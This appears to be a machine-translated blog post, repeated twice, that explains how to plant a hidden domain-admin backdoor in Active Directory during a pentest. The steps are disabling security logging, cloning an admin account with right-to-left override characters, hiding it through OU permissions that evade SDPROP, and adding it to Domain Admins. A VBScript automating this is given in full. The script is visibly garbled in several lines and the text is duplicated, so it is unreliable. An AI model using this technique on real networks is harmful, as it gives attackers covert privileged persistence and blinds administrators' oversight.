
Backdoor in Active Directory # 2
At the beginning of last year, I already raised the topic of post-exploitation in the Microsoft Active Directory domain . The approach proposed earlier considered an option oriented more to the case of loss of administrative privileges than their direct use. At the same time, the very act of returning these privileges implied “noisy” events and visually fawn manipulations in the catalog. In other words, in order to regain administrative privileges in a domain, it was required to become a member of the corresponding security group, for example, the Domain Admins group.
I must say that administrators are very worried when they suddenly realize the presence of someone else in their system. Some of them rush to handle the security incident with all their might. Sometimes, by the most unpredictable actions;))

Now imagine how an Active Directory administrator in a large company can behave when he sees an unfamiliar identifier in the Enterprise Admins security group? If someone is not upset, then the administrator’s concern is fully justified. But in the case of insufficient opposition during the pentest, you really should not worry very much (exactly how to deprive the guys of entry points and the privileges gained by sweat and blood).
I thought for a long time about how, without scaring administrators, to freely use the privileges achieved during penetration testing (especially against the backdrop of aggressive opposition from administrators in recent works). On the one hand, when conducting a pentest, we are very limited in capabilities. For example, the rule to minimize the impact on the object of study is for granted. Therefore, we simply cannot spawn and scatter backdoors over the captured network. On the other hand, there are completely understandable goals that you need to reach until the moment when the joyful administrator notes unauthorized activity and pulls the cord from the outlet.
So how can you go unnoticed on Microsoft networks?
The first thing that comes to mind is to use an administrator account. Access is legitimate, so it should not attract special attention. But, as practice shows, it is not always possible to get the administrator password in clear text. In these cases, an attack known as Pass-the-Hash rushes to the rescue . It would be almost all wonderful (almost because Pass-the-Hash narrows the possibilities for developing an attack, for example, you cannot use the RDP remote control protocol), but in serious companies, administrators are slowly switching to smart cards, which does not allow using attacks based on on the flaws of the NTLM protocol. Good, but there is still the possibility of using an authorized user token (eq incognito ) and / or a Kerberos ticket (eqWCE ). This is certainly true, but in practice, Kerberos is not kerberos and the token is not a token :( The available tools for carrying out these types of attacks, unfortunately, openly crap. In addition, in both cases, exactly like with a Pass-the-Hash attack, . The attacking very limited used protocols that support SSO domain
thus the most attractive way - is to use the privilege, if it does not exist, create an ID with a known domain administrator password ...
As it does not run into a watchful eye administrations ora domain?
Firstly, making changes to the Active Directory triggers related events that the administrator should not be aware of. Therefore, before uploading to the domain (of course, only when conducting penetration testing and after agreeing on this action with the responsible person on the customer side), it is recommended to disable the logging of security events on domain controllers through the appropriate GPO. Let me remind you that by default the background update time for group policies for domain controllers is 15 minutes.
Secondly, no one bothers to create a visually identical account, similar to an existing domain administrator. For this, for example, Unicode characters (!) Can be used. Next, the created user is set to the “showInAdvancedViewOnly” attribute in the value “TRUE”, which will hide the object in the standard viewing mode of the “User and Computer Management” snap-in (dsa.msc). After that, it remains to place this user in one of the administrative groups, free from the real domain administrator (for example, as a rule, administrators like to stick their account into all conceivable and not conceivable administrative groups; for example, we will leave the administrator in the Enterprise Admins group , and put the clone in the group "Domain Admins").
But I think that many of the readers have already doubted the success of the company. And they are right! This method is no good, because there are two significant drawbacks in it:
1. The created user ID is visible in the catalog with the “armed eye”.
2. When searching for users in a domain, the administrator account begins to double.
How can these problems be solved?
It would seem that the simplest solution on the surface is to correctly configure access rights to the created object (our user). For this, it is enough for the Everyone group to prohibit reading public information from the object. And in the organizational unit, next to the real Active Directory administrator, “something” will hang that at least will turn off when searching for users in the domain. However, the tale will last no more than 60 minutes :( The fact is that, by default, every 60 minutes on the domain controller that acts as a PDC emulator, the SDPROP process is launched, which restores access rights for a number of Active Directory objects (including all members of the administrator groups) in accordance with the established access rights to the AdminSDHolder object ( http://technet.microsoft.com/en-us/query/ee361593 ).
Unfortunately, it is impossible to disable the specified security mechanism using regular capabilities. A hack with object permissions can lead to problems with replication (and here it already smells like some sort of sabotage; when pentesting it). Overwriting permissions on the “AdminSDHolder” will affect many objects, including the identifiers of all domain administrators. Thus, one of the possible useful solutions may be to run a script regularly, which will correct the errors of the “SDPROP” process, but there is also a more promising alternative.
The SDPROP process restores access rights (ACE) only to specific privileged objects, while the access rights for the organizational units that contain such objects remain unchanged. This is just what you can use! After all, no one bothers us, using Unicode characters, to create a similar sequence of organizational units, similar to the sequence in which the cloned identifier is contained. At the same time, the “correct” access rights to the superior container will allow it to be visually hidden from prying eyes (of course, within reason).


The meaning of this approach is that the Active Directory administrator should not have unhealthy suspicions about the fact that the system entrusted to him has been compromised. He remains the current administrator, except that a member of one of the privileged groups is a visually identical account ...
And the last. In order that the created clone is not duplicated in the catalog search, you can use, for example, the symbol " 202E " (Respect to Alexander Zaitsevfor the reminder). The specified character flips the line behind it. Thus, if we, for example, create a clone for the identifier “dmitry.ivanov”, the created identifier will look like “202E” + “vonavi.yrtimd”. Perhaps this approach is not so convenient for authentication, but it saves you from getting into a directory search.

From the point of view of security logs, this approach also allows you to go unnoticed until a certain point.

Below is a script that automates all of the above. Configurable parameters:
strAdminsamAccountName - the identifier that you want to clone with
strAdminsGroup - the privileged group in which to put the clone
strPassNewUser- set password for the new user
On Error Resume Next
strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P @ ssw0rd"
'- - - Dim arrContainer (), i
Set objRootDSE = GetObject ("LDAP: // RootDS ")
StrDomain = objRootDSE.Get (" DefaultNamingContext ")
Set objDomain = GetObject (" LDAP: // "& strDomain)
strAdminsamAccountNameDN = SearchDN (" 'WHERE objectCategory =' user 'AND samAccountName =' "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount"
If Not IsNull (strAdminsamAccountNameDN) Then
Set objAdmin = GetObject ("LDAP: //" & strAdminsamAccountNameDN)
Set objOU = GetObject (objAdmin.parent)
i = 0
Call EnumOUs (objOU)
For j = i-1 To 0 Step -1
if strContainer = "" Then
strContainer = "OU =" & arrContainer (j) & strContainer
primaryContainer = strContainer
Else
strContainer = "OU =" & arrContainer (j) & "," & strContainer
End if
Set objOUcreate = objDomain.Create ("organizationalUnit", strContainer)
objOUcreate.SetInfo
Next
Set objContainer = GetObject ("LDAP: //" & strContainer & "," & strDomain)
Set objUserCreate.j , "Cn =" & ChrW (8238) & StrReverse (objAdmin.displayName))
objUserCreate.Put "sAMAccountName", ChrW (8238) & StrReverse (strAdminsamAccountName)
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.SetPassword strPassNewUser
objUserCreate.Put "userAccountControl", 66048
objUserCreate.Put "givenName
", ChrW (8238) & StrReverse (objAdmin.givenName)
objUserCreate.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rutrer. Put “initials”, ChrW (8238) & StrReverse (objAdmin.initials)
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.Put “showInAdvancedViewOnly”, “TRUE”
objUserCreate.SetInfo
On Error Resume Next
NewUserDN = 8 ) & StrReverse (objAdmin.displayName) & "," & objContainer.distinguishedName
strAdminsGroupDN = SearchDN ("'WHERE objectCategory =' group 'AND samAccountName ='" & strAdminsGroup & "'")
If Not IsNull (strAdminsGroupDN) Then
Set objGroup = GetObject ("LDAP: //" & strAdminsGroupDN)
objGroup.PutEx 4, "member", Array (strAdminsamAccountNameDN)
objGroup.SetInfo
objGroup.PutEx 3, "member", Array (NewUserDN)
objGroup.SetInfo
End If
O primaryContainer & "," & strDomain)
End If
Function SearchDN (str)
Set objConnection = CreateObject ("ADODB.Connection")
objConnection.Provider = "ADsDSOObject"
objConnection.Open "Active Directory Provider"
Set objCommand = CreateObject ("ADODB.Command ")
Set objCommand.ActiveConnection = objConnection
objCommand.Properties (" Searchscope ") = 2
objCommand.CommandText =" SELECT distinguishedName FROM 'LDAP: // "& strDomain &str
Set objRecordSet = objCommand.Execute
If Not objRecordSet.EOF Then
SearchDN = objRecordSet.Fields ("distinguishedName"). Value
End if
End Function
Sub EnumOUs (objChild)
Dim objParent
Set objParent = GetObject (objChild.Parent)
(If ) “OrganizationalUnit”) Then
ReDim Preserve arrContainer (i + 1)
arrContainer (i) = objChild.ou
i = i + 1
Call EnumOUs (objParent)
Else
ReDim Preserve arrContainer (i + 1)
arrContainer (i) = objChild.ou & ChrW (128)
i = i + 1
End If
End Sub
Function OUAddAce (OU)
Dim objSdUtil, objSD, objDACL, objAce
Set objOU = GetObject ("LDAP: //" & OU)
Set objSdUtil = GetObject (objOU.ADsPath)
Set objSD = objSdUtil.Get ("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce =
Create = .Trustee «Everyone»
objAce.AceFlags = 2
objAce.AceType = 6
objAce.AccessMask = 16
objAce.Flags = 1
objAce.ObjectType = "{} E48D0154-BCF8-11D1-8702-00C04FB96050"
objDacl.AddAce objAce
objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array (objSD)
objSDUtil.SetInfo
Set objNtSecurityDescriptor = objOU.Get ("ntSecurityDescriptor")
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
objOU.Put «ntSecurityDescriptor», objNtSecurityDescriptor
objOU.SetInfo
End Function
I must say that administrators are very worried when they suddenly realize the presence of someone else in their system. Some of them rush to handle the security incident with all their might. Sometimes, by the most unpredictable actions;))

Now imagine how an Active Directory administrator in a large company can behave when he sees an unfamiliar identifier in the Enterprise Admins security group? If someone is not upset, then the administrator’s concern is fully justified. But in the case of insufficient opposition during the pentest, you really should not worry very much (exactly how to deprive the guys of entry points and the privileges gained by sweat and blood).
I thought for a long time about how, without scaring administrators, to freely use the privileges achieved during penetration testing (especially against the backdrop of aggressive opposition from administrators in recent works). On the one hand, when conducting a pentest, we are very limited in capabilities. For example, the rule to minimize the impact on the object of study is for granted. Therefore, we simply cannot spawn and scatter backdoors over the captured network. On the other hand, there are completely understandable goals that you need to reach until the moment when the joyful administrator notes unauthorized activity and pulls the cord from the outlet.
So how can you go unnoticed on Microsoft networks?
The first thing that comes to mind is to use an administrator account. Access is legitimate, so it should not attract special attention. But, as practice shows, it is not always possible to get the administrator password in clear text. In these cases, an attack known as Pass-the-Hash rushes to the rescue . It would be almost all wonderful (almost because Pass-the-Hash narrows the possibilities for developing an attack, for example, you cannot use the RDP remote control protocol), but in serious companies, administrators are slowly switching to smart cards, which does not allow using attacks based on on the flaws of the NTLM protocol. Good, but there is still the possibility of using an authorized user token (eq incognito ) and / or a Kerberos ticket (eqWCE ). This is certainly true, but in practice, Kerberos is not kerberos and the token is not a token :( The available tools for carrying out these types of attacks, unfortunately, openly crap. In addition, in both cases, exactly like with a Pass-the-Hash attack, . The attacking very limited used protocols that support SSO domain
thus the most attractive way - is to use the privilege, if it does not exist, create an ID with a known domain administrator password ...
As it does not run into a watchful eye administrations ora domain?
Firstly, making changes to the Active Directory triggers related events that the administrator should not be aware of. Therefore, before uploading to the domain (of course, only when conducting penetration testing and after agreeing on this action with the responsible person on the customer side), it is recommended to disable the logging of security events on domain controllers through the appropriate GPO. Let me remind you that by default the background update time for group policies for domain controllers is 15 minutes.
Secondly, no one bothers to create a visually identical account, similar to an existing domain administrator. For this, for example, Unicode characters (!) Can be used. Next, the created user is set to the “showInAdvancedViewOnly” attribute in the value “TRUE”, which will hide the object in the standard viewing mode of the “User and Computer Management” snap-in (dsa.msc). After that, it remains to place this user in one of the administrative groups, free from the real domain administrator (for example, as a rule, administrators like to stick their account into all conceivable and not conceivable administrative groups; for example, we will leave the administrator in the Enterprise Admins group , and put the clone in the group "Domain Admins").
But I think that many of the readers have already doubted the success of the company. And they are right! This method is no good, because there are two significant drawbacks in it:
1. The created user ID is visible in the catalog with the “armed eye”.
2. When searching for users in a domain, the administrator account begins to double.
How can these problems be solved?
It would seem that the simplest solution on the surface is to correctly configure access rights to the created object (our user). For this, it is enough for the Everyone group to prohibit reading public information from the object. And in the organizational unit, next to the real Active Directory administrator, “something” will hang that at least will turn off when searching for users in the domain. However, the tale will last no more than 60 minutes :( The fact is that, by default, every 60 minutes on the domain controller that acts as a PDC emulator, the SDPROP process is launched, which restores access rights for a number of Active Directory objects (including all members of the administrator groups) in accordance with the established access rights to the AdminSDHolder object ( http://technet.microsoft.com/en-us/query/ee361593 ).
Unfortunately, it is impossible to disable the specified security mechanism using regular capabilities. A hack with object permissions can lead to problems with replication (and here it already smells like some sort of sabotage; when pentesting it). Overwriting permissions on the “AdminSDHolder” will affect many objects, including the identifiers of all domain administrators. Thus, one of the possible useful solutions may be to run a script regularly, which will correct the errors of the “SDPROP” process, but there is also a more promising alternative.
The SDPROP process restores access rights (ACE) only to specific privileged objects, while the access rights for the organizational units that contain such objects remain unchanged. This is just what you can use! After all, no one bothers us, using Unicode characters, to create a similar sequence of organizational units, similar to the sequence in which the cloned identifier is contained. At the same time, the “correct” access rights to the superior container will allow it to be visually hidden from prying eyes (of course, within reason).


The meaning of this approach is that the Active Directory administrator should not have unhealthy suspicions about the fact that the system entrusted to him has been compromised. He remains the current administrator, except that a member of one of the privileged groups is a visually identical account ...
And the last. In order that the created clone is not duplicated in the catalog search, you can use, for example, the symbol " 202E " (Respect to Alexander Zaitsevfor the reminder). The specified character flips the line behind it. Thus, if we, for example, create a clone for the identifier “dmitry.ivanov”, the created identifier will look like “202E” + “vonavi.yrtimd”. Perhaps this approach is not so convenient for authentication, but it saves you from getting into a directory search.

From the point of view of security logs, this approach also allows you to go unnoticed until a certain point.

Below is a script that automates all of the above. Configurable parameters:
strAdminsamAccountName - the identifier that you want to clone with
strAdminsGroup - the privileged group in which to put the clone
strPassNewUser- set password for the new user
On Error Resume Next
strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P @ ssw0rd"
'- - - Dim arrContainer (), i
Set objRootDSE = GetObject ("LDAP: // RootDS ")
StrDomain = objRootDSE.Get (" DefaultNamingContext ")
Set objDomain = GetObject (" LDAP: // "& strDomain)
strAdminsamAccountNameDN = SearchDN (" 'WHERE objectCategory =' user 'AND samAccountName =' "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount"
If Not IsNull (strAdminsamAccountNameDN) Then
Set objAdmin = GetObject ("LDAP: //" & strAdminsamAccountNameDN)
Set objOU = GetObject (objAdmin.parent)
i = 0
Call EnumOUs (objOU)
For j = i-1 To 0 Step -1
if strContainer = "" Then
strContainer = "OU =" & arrContainer (j) & strContainer
primaryContainer = strContainer
Else
strContainer = "OU =" & arrContainer (j) & "," & strContainer
End if
Set objOUcreate = objDomain.Create ("organizationalUnit", strContainer)
objOUcreate.SetInfo
Next
Set objContainer = GetObject ("LDAP: //" & strContainer & "," & strDomain)
Set objUserCreate.j , "Cn =" & ChrW (8238) & StrReverse (objAdmin.displayName))
objUserCreate.Put "sAMAccountName", ChrW (8238) & StrReverse (strAdminsamAccountName)
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.SetPassword strPassNewUser
objUserCreate.Put "userAccountControl", 66048
objUserCreate.Put "givenName
", ChrW (8238) & StrReverse (objAdmin.givenName)
objUserCreate.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rutrer. Put “initials”, ChrW (8238) & StrReverse (objAdmin.initials)
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.Put “showInAdvancedViewOnly”, “TRUE”
objUserCreate.SetInfo
On Error Resume Next
NewUserDN = 8 ) & StrReverse (objAdmin.displayName) & "," & objContainer.distinguishedName
strAdminsGroupDN = SearchDN ("'WHERE objectCategory =' group 'AND samAccountName ='" & strAdminsGroup & "'")
If Not IsNull (strAdminsGroupDN) Then
Set objGroup = GetObject ("LDAP: //" & strAdminsGroupDN)
objGroup.PutEx 4, "member", Array (strAdminsamAccountNameDN)
objGroup.SetInfo
objGroup.PutEx 3, "member", Array (NewUserDN)
objGroup.SetInfo
End If
O primaryContainer & "," & strDomain)
End If
Function SearchDN (str)
Set objConnection = CreateObject ("ADODB.Connection")
objConnection.Provider = "ADsDSOObject"
objConnection.Open "Active Directory Provider"
Set objCommand = CreateObject ("ADODB.Command ")
Set objCommand.ActiveConnection = objConnection
objCommand.Properties (" Searchscope ") = 2
objCommand.CommandText =" SELECT distinguishedName FROM 'LDAP: // "& strDomain &str
Set objRecordSet = objCommand.Execute
If Not objRecordSet.EOF Then
SearchDN = objRecordSet.Fields ("distinguishedName"). Value
End if
End Function
Sub EnumOUs (objChild)
Dim objParent
Set objParent = GetObject (objChild.Parent)
(If ) “OrganizationalUnit”) Then
ReDim Preserve arrContainer (i + 1)
arrContainer (i) = objChild.ou
i = i + 1
Call EnumOUs (objParent)
Else
ReDim Preserve arrContainer (i + 1)
arrContainer (i) = objChild.ou & ChrW (128)
i = i + 1
End If
End Sub
Function OUAddAce (OU)
Dim objSdUtil, objSD, objDACL, objAce
Set objOU = GetObject ("LDAP: //" & OU)
Set objSdUtil = GetObject (objOU.ADsPath)
Set objSD = objSdUtil.Get ("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce =
Create = .Trustee «Everyone»
objAce.AceFlags = 2
objAce.AceType = 6
objAce.AccessMask = 16
objAce.Flags = 1
objAce.ObjectType = "{} E48D0154-BCF8-11D1-8702-00C04FB96050"
objDacl.AddAce objAce
objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array (objSD)
objSDUtil.SetInfo
Set objNtSecurityDescriptor = objOU.Get ("ntSecurityDescriptor")
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
objOU.Put «ntSecurityDescriptor», objNtSecurityDescriptor
objOU.SetInfo
End Function